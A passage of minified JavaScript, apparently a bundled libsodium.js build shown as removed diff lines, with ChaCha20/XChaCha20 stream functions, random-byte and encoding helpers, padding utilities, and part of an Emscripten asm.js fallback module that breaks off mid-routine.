length"), o3 = p2(e4), i3.push(o3), n4 = B2(i3, n4, "nonce"); - var a3, c3 = 0 | r5._crypto_stream_chacha20_noncebytes(); - n4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(n4), i3.push(a3); - var h3 = new f2(0 | t3), u3 = h3.address; - i3.push(u3), r5._crypto_stream_chacha20(u3, t3, 0, a3, o3); - var d3 = g2(h3, A4); - return I2(i3), d3; - } - function _r2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "input_message")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_stream_chacha20_ietf_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "key"); - var h3, u3 = 0 | r5._crypto_stream_chacha20_ietf_keybytes(); - n4.length !== u3 && C2(i3, "invalid key length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(0 | s3), m3 = d3.address; - if (i3.push(m3), 0 === r5._crypto_stream_chacha20_ietf_xor(m3, o3, s3, 0, a3, h3)) { - var E3 = g2(d3, A4); - return I2(i3), E3; - } - y2(i3, "invalid usage"); - } - function Qr2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "input_message")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "nonce"); - var c3, h3 = 0 | r5._crypto_stream_chacha20_ietf_noncebytes(); - e4.length !== h3 && C2(o3, "invalid nonce length"), c3 = p2(e4), o3.push(c3), m2(o3, n4, "nonce_increment"), ("number" != typeof n4 || (0 | n4) !== n4 || n4 < 0) && C2(o3, "nonce_increment must be an unsigned integer"), A4 = B2(o3, A4, "key"); - var u3, d3 = 0 | r5._crypto_stream_chacha20_ietf_keybytes(); - A4.length !== d3 && C2(o3, "invalid key length"), u3 = p2(A4), o3.push(u3); - var E3 = new f2(0 | a3), w3 = E3.address; - if (o3.push(w3), 0 === r5._crypto_stream_chacha20_ietf_xor_ic(w3, s3, a3, 0, c3, n4, u3)) { - var v3 = g2(E3, i3); - return I2(o3), v3; - } - y2(o3, "invalid usage"); - } - function br2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_stream_chacha20_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_stream_chacha20_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function kr2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "input_message")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_stream_chacha20_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "key"); - var h3, u3 = 0 | r5._crypto_stream_chacha20_keybytes(); - n4.length !== u3 && C2(i3, "invalid key length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(0 | s3), m3 = d3.address; - if (i3.push(m3), 0 === r5._crypto_stream_chacha20_xor(m3, o3, s3, 0, a3, h3)) { - var E3 = g2(d3, A4); - return I2(i3), E3; - } - y2(i3, "invalid usage"); - } - function Dr2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "input_message")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "nonce"); - var c3, h3 = 0 | r5._crypto_stream_chacha20_noncebytes(); - e4.length !== h3 && C2(o3, "invalid nonce length"), c3 = p2(e4), o3.push(c3), m2(o3, n4, "nonce_increment"), ("number" != typeof n4 || (0 | n4) !== n4 || n4 < 0) && C2(o3, "nonce_increment must be an unsigned integer"), A4 = B2(o3, A4, "key"); - var u3, d3 = 0 | r5._crypto_stream_chacha20_keybytes(); - A4.length !== d3 && C2(o3, "invalid key length"), u3 = p2(A4), o3.push(u3); - var E3 = new f2(0 | a3), w3 = E3.address; - if (o3.push(w3), 0 === r5._crypto_stream_chacha20_xor_ic(w3, s3, a3, 0, c3, n4, 0, u3)) { - var v3 = g2(E3, i3); - return I2(o3), v3; - } - y2(o3, "invalid usage"); - } - function Sr2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_stream_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_stream_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Nr2(t3) { - var e4 = []; - l2(t3); - var n4 = new f2(0 | r5._crypto_stream_xchacha20_keybytes()), A4 = n4.address; - e4.push(A4), r5._crypto_stream_xchacha20_keygen(A4); - var i3 = g2(n4, t3); - return I2(e4), i3; - } - function Mr2(t3, e4, n4, A4) { - var i3 = []; - l2(A4); - var o3 = p2(t3 = B2(i3, t3, "input_message")), s3 = t3.length; - i3.push(o3), e4 = B2(i3, e4, "nonce"); - var a3, c3 = 0 | r5._crypto_stream_xchacha20_noncebytes(); - e4.length !== c3 && C2(i3, "invalid nonce length"), a3 = p2(e4), i3.push(a3), n4 = B2(i3, n4, "key"); - var h3, u3 = 0 | r5._crypto_stream_xchacha20_keybytes(); - n4.length !== u3 && C2(i3, "invalid key length"), h3 = p2(n4), i3.push(h3); - var d3 = new f2(0 | s3), m3 = d3.address; - if (i3.push(m3), 0 === r5._crypto_stream_xchacha20_xor(m3, o3, s3, 0, a3, h3)) { - var E3 = g2(d3, A4); - return I2(i3), E3; - } - y2(i3, "invalid usage"); - } - function xr2(t3, e4, n4, A4, i3) { - var o3 = []; - l2(i3); - var s3 = p2(t3 = B2(o3, t3, "input_message")), a3 = t3.length; - o3.push(s3), e4 = B2(o3, e4, "nonce"); - var c3, h3 = 0 | r5._crypto_stream_xchacha20_noncebytes(); - e4.length !== h3 && C2(o3, "invalid nonce length"), c3 = p2(e4), o3.push(c3), m2(o3, n4, "nonce_increment"), ("number" != typeof n4 || (0 | n4) !== n4 || n4 < 0) && C2(o3, "nonce_increment must be an unsigned integer"), A4 = B2(o3, A4, "key"); - var u3, d3 = 0 | r5._crypto_stream_xchacha20_keybytes(); - A4.length !== d3 && C2(o3, "invalid key length"), u3 = p2(A4), o3.push(u3); - var E3 = new f2(0 | a3), w3 = E3.address; - if (o3.push(w3), 0 === r5._crypto_stream_xchacha20_xor_ic(w3, s3, a3, 0, c3, n4, 0, u3)) { - var v3 = g2(E3, i3); - return I2(o3), v3; - } - y2(o3, "invalid usage"); - } - function Fr2(t3, e4) { - var n4 = []; - l2(e4), m2(n4, t3, "length"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(n4, "length must be an unsigned integer"); - var A4 = new f2(0 | t3), i3 = A4.address; - n4.push(i3), r5._randombytes_buf(i3, t3); - var o3 = g2(A4, e4); - return I2(n4), o3; - } - function Pr2(t3, e4, n4) { - var A4 = []; - l2(n4), m2(A4, t3, "length"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(A4, "length must be an unsigned integer"), e4 = B2(A4, e4, "seed"); - var i3, o3 = 0 | r5._randombytes_seedbytes(); - e4.length !== o3 && C2(A4, "invalid seed length"), i3 = p2(e4), A4.push(i3); - var s3 = new f2(0 | t3), a3 = s3.address; - A4.push(a3), r5._randombytes_buf_deterministic(a3, t3, i3); - var c3 = g2(s3, n4); - return I2(A4), c3; - } - function Tr2(t3) { - l2(t3), r5._randombytes_close(); - } - function Rr2(t3) { - l2(t3); - var e4 = r5._randombytes_random() >>> 0; - return I2([]), e4; - } - function Ur2(t3, e4) { - var n4 = []; - l2(e4); - for (var A4 = r5._malloc(24), i3 = 0; i3 < 6; i3++) - r5.setValue(A4 + 4 * i3, r5.Runtime.addFunction(t3[["implementation_name", "random", "stir", "uniform", "buf", "close"][i3]]), "i32"); - !!(0 | r5._randombytes_set_implementation(A4)) && y2(n4, "unsupported implementation"), I2(n4); - } - function Gr2(t3) { - l2(t3), r5._randombytes_stir(); - } - function Hr2(t3, e4) { - var n4 = []; - l2(e4), m2(n4, t3, "upper_bound"), ("number" != typeof t3 || (0 | t3) !== t3 || t3 < 0) && C2(n4, "upper_bound must be an unsigned integer"); - var A4 = r5._randombytes_uniform(t3) >>> 0; - return I2(n4), A4; - } - function Lr2() { - var t3 = r5._sodium_version_string(), e4 = r5.UTF8ToString(t3); - return I2([]), e4; - } - return f2.prototype.to_Uint8Array = function() { - var t3 = new Uint8Array(this.length); - return t3.set(r5.HEAPU8.subarray(this.address, this.address + this.length)), t3; - }, t2.add = function(t3, e4) { - if (!(t3 instanceof Uint8Array && e4 instanceof Uint8Array)) - throw new TypeError("Only Uint8Array instances can added"); - var r6 = t3.length, n4 = 0, A4 = 0; - if (e4.length != t3.length) - throw new TypeError("Arguments must have the same length"); - for (A4 = 0; A4 < r6; A4++) - n4 >>= 8, n4 += t3[A4] + e4[A4], t3[A4] = 255 & n4; - }, t2.base64_variants = a2, t2.compare = function(t3, e4) { - if (!(t3 instanceof Uint8Array && e4 instanceof Uint8Array)) - throw new TypeError("Only Uint8Array instances can be compared"); - if (t3.length !== e4.length) - throw new TypeError("Only instances of identical length can be compared"); - for (var r6 = 0, n4 = 1, A4 = t3.length; A4-- > 0; ) - r6 |= e4[A4] - t3[A4] >> 8 & n4, n4 &= (e4[A4] ^ t3[A4]) - 1 >> 8; - return r6 + r6 + n4 - 1; - }, t2.from_base64 = function(t3, e4) { - e4 = c2(e4); - var n4, A4 = [], i3 = new f2(3 * (t3 = B2(A4, t3, "input")).length / 4), o3 = p2(t3), s3 = d2(4), a3 = d2(4); - return A4.push(o3), A4.push(i3.address), A4.push(i3.result_bin_len_p), A4.push(i3.b64_end_p), 0 !== r5._sodium_base642bin(i3.address, i3.length, o3, t3.length, 0, s3, a3, e4) && y2(A4, "invalid input"), r5.getValue(a3, "i32") - o3 !== t3.length && y2(A4, "incomplete input"), i3.length = r5.getValue(s3, "i32"), n4 = i3.to_Uint8Array(), I2(A4), n4; - }, t2.from_hex = function(t3) { - var e4, n4 = [], A4 = new f2((t3 = B2(n4, t3, "input")).length / 2), i3 = p2(t3), o3 = d2(4); - return n4.push(i3), n4.push(A4.address), n4.push(A4.hex_end_p), 0 !== r5._sodium_hex2bin(A4.address, A4.length, i3, t3.length, 0, 0, o3) && y2(n4, "invalid input"), r5.getValue(o3, "i32") - i3 !== t3.length && y2(n4, "incomplete input"), e4 = A4.to_Uint8Array(), I2(n4), e4; - }, t2.from_string = i2, t2.increment = function(t3) { - if (!(t3 instanceof Uint8Array)) - throw new TypeError("Only Uint8Array instances can be incremented"); - for (var e4 = 256, r6 = 0, n4 = t3.length; r6 < n4; r6++) - e4 >>= 8, e4 += t3[r6], t3[r6] = 255 & e4; - }, t2.is_zero = function(t3) { - if (!(t3 instanceof Uint8Array)) - throw new TypeError("Only Uint8Array instances can be checked"); - for (var e4 = 0, r6 = 0, n4 = t3.length; r6 < n4; r6++) - e4 |= t3[r6]; - return 0 === e4; - }, t2.libsodium = e3, t2.memcmp = function(t3, e4) { - if (!(t3 instanceof Uint8Array && e4 instanceof Uint8Array)) - throw new TypeError("Only Uint8Array instances can be compared"); - if (t3.length !== e4.length) - throw new TypeError("Only instances of identical length can be compared"); - for (var r6 = 0, n4 = 0, A4 = t3.length; n4 < A4; n4++) - r6 |= t3[n4] ^ e4[n4]; - return 0 === r6; - }, t2.memzero = function(t3) { - if (!(t3 instanceof Uint8Array)) - throw new TypeError("Only Uint8Array instances can be wiped"); - for (var e4 = 0, r6 = t3.length; e4 < r6; e4++) - t3[e4] = 0; - }, t2.output_formats = function() { - return ["uint8array", "text", "hex", "base64"]; - }, t2.pad = function(t3, e4) { - if (!(t3 instanceof Uint8Array)) - throw new TypeError("buffer must be a Uint8Array"); - if ((e4 |= 0) <= 0) - throw new Error("block size must be > 0"); - var n4, A4 = [], i3 = d2(4), o3 = 1, s3 = 0, a3 = 0 | t3.length, c3 = new f2(a3 + e4); - A4.push(i3), A4.push(c3.address); - for (var h3 = c3.address, g3 = c3.address + a3 + e4; h3 < g3; h3++) - r5.HEAPU8[h3] = t3[s3], s3 += o3 = 1 & ~((65535 & ((a3 -= o3) >>> 48 | a3 >>> 32 | a3 >>> 16 | a3)) - 1 >> 16); - return 0 !== r5._sodium_pad(i3, c3.address, t3.length, e4, c3.length) && y2(A4, "internal error"), c3.length = r5.getValue(i3, "i32"), n4 = c3.to_Uint8Array(), I2(A4), n4; - }, t2.unpad = function(t3, e4) { - if (!(t3 instanceof Uint8Array)) - throw new TypeError("buffer must be a Uint8Array"); - if ((e4 |= 0) <= 0) - throw new Error("block size must be > 0"); - var n4 = [], A4 = p2(t3), i3 = d2(4); - return n4.push(A4), n4.push(i3), 0 !== r5._sodium_unpad(i3, A4, t3.length, e4) && y2(n4, "unsupported/invalid padding"), t3 = (t3 = new Uint8Array(t3)).subarray(0, r5.getValue(i3, "i32")), I2(n4), t3; - }, t2.ready = A3, t2.symbols = function() { - return Object.keys(t2).sort(); - }, t2.to_base64 = h2, t2.to_hex = s2, t2.to_string = o2, t2; - } - var A2 = "object" == typeof r4.sodium && "function" == typeof r4.sodium.onload ? r4.sodium.onload : null; - "string" != typeof e2.nodeName ? n2(e2, (Lu || (Lu = 1, function(e3, r5) { - !function(n3) { - function A3(r6) { - var n4; - void 0 === (n4 = r6) && (n4 = {}); - var A4 = n4; - "object" != typeof A4.sodium && ("object" == typeof t ? A4 = t : "object" == typeof window && (A4 = window)); - var i2 = n4; - return n4.ready = new Promise(function(t2, r7) { - (o2 = i2).onAbort = r7, o2.print = function(t3) { - }, o2.printErr = function(t3) { - }, o2.onRuntimeInitialized = function() { - try { - o2._crypto_secretbox_keybytes(), t2(); - } catch (t3) { - r7(t3); - } - }, o2.useBackupModule = function() { - return new Promise(function(t3, r8) { - (o3 = {}).onAbort = r8, o3.onRuntimeInitialized = function() { - Object.keys(i2).forEach(function(t4) { - "getRandomValue" !== t4 && delete i2[t4]; - }), Object.keys(o3).forEach(function(t4) { - i2[t4] = o3[t4]; - }), t3(); - }; - var n6, A6, o3 = void 0 !== o3 ? o3 : {}, s3 = Object.assign({}, o3), a3 = "object" == typeof window, c3 = "function" == typeof importScripts, h3 = "object" == typeof process && "object" == typeof process.versions && "string" == typeof process.versions.node, g3 = ""; - if (h3) { - var u3 = T, l3 = T; - g3 = c3 ? l3.dirname(g3) + "/" : __dirname + "/", n6 = (t4, e4) => (t4 = function(t5) { - return t5.startsWith("file://"); - }(t4) ? new URL(t4) : l3.normalize(t4), u3.readFileSync(t4, e4 ? void 0 : "utf8")), A6 = (t4) => { - var e4 = n6(t4, true); - return e4.buffer || (e4 = new Uint8Array(e4)), e4; - }, !o3.thisProgram && process.argv.length > 1 && process.argv[1].replace(/\\/g, "/"), process.argv.slice(2), e3.exports = o3, o3.inspect = () => "[Emscripten Module object]"; - } else - (a3 || c3) && (c3 ? g3 = self.location.href : "undefined" != typeof document && document.currentScript && (g3 = document.currentScript.src), g3 = 0 !== g3.indexOf("blob:") ? g3.substr(0, g3.replace(/[?#].*/, "").lastIndexOf("/") + 1) : "", n6 = (t4) => { - var e4 = new XMLHttpRequest(); - return e4.open("GET", t4, false), e4.send(null), e4.responseText; - }, c3 && (A6 = (t4) => { - var e4 = new XMLHttpRequest(); - return e4.open("GET", t4, false), e4.responseType = "arraybuffer", e4.send(null), new Uint8Array(e4.response); - })); - o3.print; - var f3, p3 = o3.printErr || void 0; - Object.assign(o3, s3), s3 = null, o3.arguments && o3.arguments, o3.thisProgram && o3.thisProgram, o3.quit && o3.quit, o3.wasmBinary && (f3 = o3.wasmBinary), o3.noExitRuntime; - var d3, I3 = { Memory: function(t4) { - this.buffer = new ArrayBuffer(65536 * t4.initial); - }, Module: function(t4) { - }, Instance: function(t4, e4) { - this.exports = function(t5) { - for (var e5, r9 = new Uint8Array(123), n7 = 25; n7 >= 0; --n7) - r9[48 + n7] = 52 + n7, r9[65 + n7] = n7, r9[97 + n7] = 26 + n7; - function A7(t6, e6, n8) { - for (var A8, i4, o4 = 0, s4 = e6, a4 = n8.length, c4 = e6 + (3 * a4 >> 2) - ("=" == n8[a4 - 2]) - ("=" == n8[a4 - 1]); o4 < a4; o4 += 4) - A8 = r9[n8.charCodeAt(o4 + 1)], i4 = r9[n8.charCodeAt(o4 + 2)], t6[s4++] = r9[n8.charCodeAt(o4)] << 2 | A8 >> 4, s4 < c4 && (t6[s4++] = A8 << 4 | i4 >> 2), s4 < c4 && (t6[s4++] = i4 << 6 | r9[n8.charCodeAt(o4 + 3)]); - } - function i3() { - throw new Error("abort"); - } - return r9[43] = 62, r9[47] = 63, function(t6) { - var r10 = t6.a, n8 = r10.a, o4 = n8.buffer; - n8.grow = function(t7) { - t7 |= 0; - var r11 = 0 | ye2(), A8 = r11 + t7 | 0; - if (r11 < A8 && A8 < 65536) { - var i4 = new ArrayBuffer(g4(A8, 65536)); - new Int8Array(i4).set(s4), s4 = new Int8Array(i4), a4 = new Int32Array(i4), c4 = new Uint8Array(i4), h4 = new Uint32Array(i4), o4 = i4, n8.buffer = o4, e5 = c4; - } - return r11; - }; - var s4 = new Int8Array(o4), a4 = new Int32Array(o4), c4 = new Uint8Array(o4), h4 = new Uint32Array(o4), g4 = Math.imul, u4 = Math.clz32, l4 = r10.b, f4 = r10.c, p4 = r10.d, d4 = r10.e, I4 = 102096, y4 = 0; - function C4(t7, e6) { - var r11, n9, A8, i4, o5, a5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0, P5 = 0, T3 = 0, R5 = 0, U5 = 0, G5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0, K5 = 0, J5 = 0, j5 = 0, z4 = 0, q4 = 0, X3 = 0, V3 = 0, W3 = 0, Z3 = 0, $3 = 0, tt3 = 0, et3 = 0, rt3 = 0, nt3 = 0, At3 = 0, it3 = 0, ot3 = 0, st3 = 0, at3 = 0, ct3 = 0, ht3 = 0, gt3 = 0, ut3 = 0, lt3 = 0, pt3 = 0, dt3 = 0, It3 = 0, yt3 = 0, Ct3 = 0, mt3 = 0, Bt3 = 0, Et3 = 0, wt3 = 0, vt3 = 0, _t3 = 0, Qt3 = 0, bt3 = 0, kt3 = 0, Dt3 = 0, St3 = 0; - lt3 = c4[e6 + 40 | 0] | c4[e6 + 41 | 0] << 8 | c4[e6 + 42 | 0] << 16 | c4[e6 + 43 | 0] << 24, dt3 = a5 = c4[e6 + 44 | 0] | c4[e6 + 45 | 0] << 8 | c4[e6 + 46 | 0] << 16 | c4[e6 + 47 | 0] << 24, rt3 = c4[e6 + 104 | 0] | c4[e6 + 105 | 0] << 8 | c4[e6 + 106 | 0] << 16 | c4[e6 + 107 | 0] << 24, It3 = a5 = c4[e6 + 108 | 0] | c4[e6 + 109 | 0] << 8 | c4[e6 + 110 | 0] << 16 | c4[e6 + 111 | 0] << 24, a5 = c4[e6 + 68 | 0] | c4[e6 + 69 | 0] << 8 | c4[e6 + 70 | 0] << 16 | c4[e6 + 71 | 0] << 24, j5 = c4[e6 + 64 | 0] | c4[e6 + 65 | 0] << 8 | c4[e6 + 66 | 0] << 16 | c4[e6 + 67 | 0] << 24, At3 = a5, bt3 = a5 = c4[e6 + 36 | 0] | c4[e6 + 37 | 0] << 8 | c4[e6 + 38 | 0] << 16 | c4[e6 + 39 | 0] << 24, Q5 = a5, at3 = c4[e6 + 120 | 0] | c4[e6 + 121 | 0] << 8 | c4[e6 + 122 | 0] << 16 | c4[e6 + 123 | 0] << 24, Bt3 = a5 = c4[e6 + 124 | 0] | c4[e6 + 125 | 0] << 8 | c4[e6 + 126 | 0] << 16 | c4[e6 + 127 | 0] << 24, A8 = a5 = c4[e6 + 92 | 0] | c4[e6 + 93 | 0] << 8 | c4[e6 + 94 | 0] << 16 | c4[e6 + 95 | 0] << 24, r11 = c4[e6 + 88 | 0] | c4[e6 + 89 | 0] << 8 | c4[e6 + 90 | 0] << 16 | c4[e6 + 91 | 0] << 24, J5 = a5, st3 = c4[e6 + 80 | 0] | c4[e6 + 81 | 0] << 8 | c4[e6 + 82 | 0] << 16 | c4[e6 + 83 | 0] << 24, Ct3 = a5 = c4[e6 + 84 | 0] | c4[e6 + 85 | 0] << 8 | c4[e6 + 86 | 0] << 16 | c4[e6 + 87 | 0] << 24, z4 = a5, it3 = c4[t7 + 16 | 0] | c4[t7 + 17 | 0] << 8 | c4[t7 + 18 | 0] << 16 | c4[t7 + 19 | 0] << 24, a5 = (ht3 = c4[t7 + 52 | 0] | c4[t7 + 53 | 0] << 8 | c4[t7 + 54 | 0] << 16 | c4[t7 + 55 | 0] << 24) + Q5 | 0, Y5 = (ct3 = c4[t7 + 48 | 0] | c4[t7 + 49 | 0] << 8 | c4[t7 + 50 | 0] << 16 | c4[t7 + 51 | 0] << 24) + (gt3 = c4[e6 + 32 | 0] | c4[e6 + 33 | 0] << 8 | c4[e6 + 34 | 0] << 16 | c4[e6 + 35 | 0] << 24) | 0, a5 = (c4[t7 + 20 | 0] | c4[t7 + 21 | 0] << 8 | c4[t7 + 22 | 0] << 16 | c4[t7 + 23 | 0] << 24) + (ct3 >>> 0 > Y5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (it3 = (h5 = Y5) >>> 0 > (Y5 = Y5 + it3 | 0) >>> 0 ? a5 + 1 | 0 : a5) + dt3 | 0, ot3 = pt3 = Y5 + lt3 | 0, pt3 = a5 = pt3 >>> 0 < Y5 >>> 0 ? a5 + 1 | 0 : a5, Y5 = ft2(Y5 ^ (c4[t7 + 80 | 0] | c4[t7 + 81 | 0] << 8 | c4[t7 + 82 | 0] << 16 | c4[t7 + 83 | 0] << 24) ^ -79577749, it3 ^ (c4[t7 + 84 | 0] | c4[t7 + 85 | 0] << 8 | c4[t7 + 86 | 0] << 16 | c4[t7 + 87 | 0] << 24) ^ 528734635, 32), vt3 = a5 = y4, a5 = a5 + 1013904242 | 0, it3 = Y5, V3 = a5 = (Y5 = Y5 - 23791573 | 0) >>> 0 < 4271175723 ? a5 + 1 | 0 : a5, ht3 = ft2(Y5 ^ ct3, a5 ^ ht3, 40), a5 = (a5 = pt3) + (pt3 = y4) | 0, ct3 = ft2(it3 ^ (I5 = ct3 = ht3 + ot3 | 0), vt3 ^ (C5 = I5 >>> 0 < ht3 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = V3 + (L5 = y4) | 0, w5 = a5 = (ct3 = Y5 + (m5 = ct3) | 0) >>> 0 < Y5 >>> 0 ? a5 + 1 | 0 : a5, ct3 = a5 = ft2(ht3 ^ (E5 = ct3), pt3 ^ a5, 1), V3 = Y5 = y4, pt3 = c4[e6 + 24 | 0] | c4[e6 + 25 | 0] << 8 | c4[e6 + 26 | 0] << 16 | c4[e6 + 27 | 0] << 24, vt3 = a5 = c4[e6 + 28 | 0] | c4[e6 + 29 | 0] << 8 | c4[e6 + 30 | 0] << 16 | c4[e6 + 31 | 0] << 24, ut3 = c4[t7 + 8 | 0] | c4[t7 + 9 | 0] << 8 | c4[t7 + 10 | 0] << 16 | c4[t7 + 11 | 0] << 24, Y5 = (ht3 = c4[e6 + 16 | 0] | c4[e6 + 17 | 0] << 8 | c4[e6 + 18 | 0] << 16 | c4[e6 + 19 | 0] << 24) + (it3 = c4[t7 + 40 | 0] | c4[t7 + 41 | 0] << 8 | c4[t7 + 42 | 0] << 16 | c4[t7 + 43 | 0] << 24) | 0, a5 = (kt3 = c4[e6 + 20 | 0] | c4[e6 + 21 | 0] << 8 | c4[e6 + 22 | 0] << 16 | c4[e6 + 23 | 0] << 24) + (St3 = c4[t7 + 44 | 0] | c4[t7 + 45 | 0] << 8 | c4[t7 + 46 | 0] << 16 | c4[t7 + 47 | 0] << 24) | 0, a5 = (c4[t7 + 12 | 0] | c4[t7 + 13 | 0] << 8 | c4[t7 + 14 | 0] << 16 | c4[t7 + 15 | 0] << 24) + (Y5 >>> 0 < it3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = vt3 + (ot3 = (h5 = Y5) >>> 0 > (Y5 = Y5 + ut3 | 0) >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (ut3 = Y5 + pt3 | 0) >>> 0 < Y5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(Y5 ^ (c4[t7 + 72 | 0] | c4[t7 + 73 | 0] << 8 | c4[t7 + 74 | 0] << 16 | c4[t7 + 75 | 0] << 24) ^ 725511199, ot3 ^ (c4[t7 + 76 | 0] | c4[t7 + 77 | 0] << 8 | c4[t7 + 78 | 0] << 16 | c4[t7 + 79 | 0] << 24) ^ -1694144372, 32), f5 = ft2(it3 ^ (g5 = h5 - 2067093701 | 0), St3 ^ (G5 = (F5 = Y5 = y4) - ((h5 >>> 0 < 2067093701) + 1150833018 | 0) | 0), 40), a5 = (O5 = y4) + a5 | 0, a5 = (x5 = (v5 = Y5 = f5 + ut3 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5) + V3 | 0, a5 = (v5 >>> 0 > (Y5 = v5 + ct3 | 0) >>> 0 ? a5 + 1 | 0 : a5) + z4 | 0, a5 = (it3 = (u5 = Y5) >>> 0 > (Y5 = Y5 + st3 | 0) >>> 0 ? a5 + 1 | 0 : a5) + J5 | 0, R5 = J5 = Y5 + r11 | 0, d5 = a5 = J5 >>> 0 < Y5 >>> 0 ? a5 + 1 | 0 : a5, B5 = ct3, Et3 = V3, V3 = Y5, ot3 = it3, ct3 = c4[e6 + 8 | 0] | c4[e6 + 9 | 0] << 8 | c4[e6 + 10 | 0] << 16 | c4[e6 + 11 | 0] << 24, Y5 = a5 = c4[e6 + 12 | 0] | c4[e6 + 13 | 0] << 8 | c4[e6 + 14 | 0] << 16 | c4[e6 + 15 | 0] << 24, St3 = a5 = c4[0 | t7] | c4[t7 + 1 | 0] << 8 | c4[t7 + 2 | 0] << 16 | c4[t7 + 3 | 0] << 24, i4 = it3 = c4[t7 + 4 | 0] | c4[t7 + 5 | 0] << 8 | c4[t7 + 6 | 0] << 16 | c4[t7 + 7 | 0] << 24, z4 = a5, a5 = (_t3 = c4[e6 + 4 | 0] | c4[e6 + 5 | 0] << 8 | c4[e6 + 6 | 0] << 16 | c4[e6 + 7 | 0] << 24) + (l5 = c4[t7 + 36 | 0] | c4[t7 + 37 | 0] << 8 | c4[t7 + 38 | 0] << 16 | c4[t7 + 39 | 0] << 24) | 0, a5 = i4 + ((J5 = c4[t7 + 32 | 0] | c4[t7 + 33 | 0] << 8 | c4[t7 + 34 | 0] << 16 | c4[t7 + 35 | 0] << 24) >>> 0 > (u5 = J5 + (it3 = c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24) | 0) >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (ut3 = (z4 = u5 + z4 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) + Y5 | 0, mt3 = u5 = z4 + ct3 | 0, u5 = a5 = u5 >>> 0 < z4 >>> 0 ? a5 + 1 | 0 : a5, p5 = J5, J5 = ft2(z4 ^ (c4[0 | (a5 = t7 - -64 | 0)] | c4[a5 + 1 | 0] << 8 | c4[a5 + 2 | 0] << 16 | c4[a5 + 3 | 0] << 24) ^ -1377402159, ut3 ^ (c4[a5 + 4 | 0] | c4[a5 + 5 | 0] << 8 | c4[a5 + 6 | 0] << 16 | c4[a5 + 7 | 0] << 24) ^ 1359893119, 32), ut3 = a5 = y4, a5 = a5 + 1779033703 | 0, z4 = J5, S5 = a5 = (J5 = J5 - 205731576 | 0) >>> 0 < 4089235720 ? a5 + 1 | 0 : a5, l5 = ft2(p5 ^ (_5 = J5), a5 ^ l5, 40), a5 = (T3 = y4) + u5 | 0, p5 = ft2(z4 ^ (u5 = J5 = l5 + mt3 | 0), ut3 ^ (b5 = l5 >>> 0 > u5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = ft2(p5 ^ V3, (Z3 = y4) ^ ot3, 32), X3 = J5 = y4, U5 = a5, n9 = a5 = c4[e6 + 60 | 0] | c4[e6 + 61 | 0] << 8 | c4[e6 + 62 | 0] << 16 | c4[e6 + 63 | 0] << 24, ut3 = mt3 = c4[e6 + 56 | 0] | c4[e6 + 57 | 0] << 8 | c4[e6 + 58 | 0] << 16 | c4[e6 + 59 | 0] << 24, D5 = c4[t7 + 24 | 0] | c4[t7 + 25 | 0] << 8 | c4[t7 + 26 | 0] << 16 | c4[t7 + 27 | 0] << 24, J5 = (ot3 = c4[e6 + 48 | 0] | c4[e6 + 49 | 0] << 8 | c4[e6 + 50 | 0] << 16 | c4[e6 + 51 | 0] << 24) + (z4 = c4[t7 + 56 | 0] | c4[t7 + 57 | 0] << 8 | c4[t7 + 58 | 0] << 16 | c4[t7 + 59 | 0] << 24) | 0, a5 = (Qt3 = c4[e6 + 52 | 0] | c4[e6 + 53 | 0] << 8 | c4[e6 + 54 | 0] << 16 | c4[e6 + 55 | 0] << 24) + (P5 = c4[t7 + 60 | 0] | c4[t7 + 61 | 0] << 8 | c4[t7 + 62 | 0] << 16 | c4[t7 + 63 | 0] << 24) | 0, a5 = (c4[t7 + 28 | 0] | c4[t7 + 29 | 0] << 8 | c4[t7 + 30 | 0] << 16 | c4[t7 + 31 | 0] << 24) + (J5 >>> 0 < z4 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = n9 + (V3 = (k5 = J5) >>> 0 > (J5 = D5 + J5 | 0) >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (D5 = J5 